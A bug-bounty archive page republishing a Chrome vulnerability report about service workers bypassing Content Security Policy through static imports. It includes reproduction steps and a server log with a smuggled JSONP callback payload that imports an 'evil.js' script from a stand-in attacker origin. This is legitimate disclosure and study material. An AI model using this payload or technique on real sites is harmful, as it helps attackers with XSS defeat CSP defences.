Skip to content
XSS Advisory Advanced CVE-2026-5911

Policy bypass in ServiceWorkers (CVE-2026-5911)

Chrome did not enforce Content Security Policy for static import declarations inside service workers, so a service worker could load module scripts from origins not allowed by the worker-src directive. An attacker who already had XSS could use this to import an external script and bypass CSP mitigations.

lebr0nli Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 48 days

VULNERABILITY DETAILS

Summary

Content Security Policy (CSP) is not properly enforced for service workers. Specifically, a service worker can execute static import declarations to load module scripts from sources that are not specified in the worker-src directive or its fallback directives.

Attack Preconditions

  • The attacker already has the ability to execute JavaScript on the target website via XSS.
  • The attacker can load a service worker from an endpoint allowed by the worker-src directive (or its fallback directives), and the response of that endpoint can be fully or partially controlled by the attacker (e.g., a JSONP endpoint).

Impact Analysis

If CSP were properly enforced for service workers, an attacker with XSS capabilities would be restricted from importing an external module within a Service Worker unless the attacker-controlled source was allowed by the worker-src directive or its fallbacks.

However, because CSP is not enforced for service workers during static import, an attacker can bypass CSP restrictions, allowing the service worker to import modules from arbitrary sources. This makes XSS mitigations less effective. For example, an attacker might be unable to execute certain payloads due to input validation or a WAF, but bypassing CSP with this bug to import an external script might help them circumvent these restrictions. (I have demonstrated this impact in the provided reproduction case by using a JSONP endpoint that implements input validation.)

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7692.0 canary.

REPRODUCTION CASE

  1. Create a directory structure like this with the attached files:

    .
    ├── evil.js
    ├── index.html
    └── server.py
    
  2. Create a virtual environment and install the required packages to run the server:

    Bash
    python3 -m venv .venv
    source ./.venv/bin/activate
    python3 -m pip install 'uvicorn[standard]==0.41.0' fastapi==0.129.0
    
  3. Update the /etc/hosts file to make cross-origin.test resolve to 127.0.0.1.

  4. Run the server.py script:

    Bash
    python3 server.py
    

    The server has the following endpoints (Note: you can check the comments and code in the provided attachments for more details):

    • /: Serves index.html with default-src 'none'; script-src 'self' 'unsafe-inline'; CSP header.
    • /api: A JSONP endpoint with default-src 'none'; CSP header.
    • /evil.js: Serves a malicious evil.js script, simulating a cross-origin server controlled by an attacker.
  5. Visit http://localhost:1337/ with Chrome.

  6. The page will attempt to register a service worker via the JSONP endpoint.

  7. The service worker will attempt a static import to load //cross-origin.test:1337/evil.js.

  8. Even though the CSP of / endpoint is set to default-src 'none'; script-src 'self' 'unsafe-inline';, you will see that the service worker still successfully imports the script from http://cross-origin.test:1337/evil.js.

  9. After reloading the page, you will see that the response for the / endpoint has been overwritten by evil.js, rendering an HTML page without any CSP restrictions.

If successfully reproduced, the expected log of the server should look like this:

$ python3 server.py
INFO:     Started server process [89241]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:1337 (Press CTRL+C to quit)
INFO:     127.0.0.1:59315 - "GET / HTTP/1.1" 200 OK
INFO:     Valid callback: import'//cross-origin.test:1337/evil.js';//
INFO:     127.0.0.1:59317 - "GET /api?callback=import%27//cross-origin.test:1337/evil.js%27;// HTTP/1.1" 200 OK
INFO:     Host: cross-origin.test:1337
INFO:     127.0.0.1:59318 - "GET /evil.js HTTP/1.1" 200 OK
INFO:     127.0.0.1:59315 - "PUT /pwned HTTP/1.1" 404 Not Found

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

The original report as published on the Chromium issue tracker, by lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the service worker script loader did not check the worker-src directive (or its fallbacks) when resolving static import declarations.

Impact

An attacker with existing XSS could bypass CSP to import an external script, making XSS mitigations less effective, though the attacker still needs a service worker endpoint they can control.

What the attacker needed

Existing XSS on the target site; a worker-src-allowed endpoint the attacker controls; Chrome browser

How it was found

  1. Set up a local server with a page, a JSONP endpoint and an attacker-controlled script.
  2. Make a test hostname resolve to the local machine.
  3. Visit the page, which registers a service worker through the JSONP endpoint.
  4. The service worker statically imports the attacker script from the other origin.
  5. The import succeeds despite the page's restrictive CSP, and after reload the attacker script controls the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A Content Security Policy is a browser rule that says which scripts a page may load, to limit damage if an attacker injects code. Service workers are background scripts a site registers to handle network requests. The report says Chrome forgot to apply the script-loading rule to imports made inside a service worker, so an attacker who already injected some JavaScript could pull in an outside script that the policy should have blocked.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by lebr0nli

View all

4 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.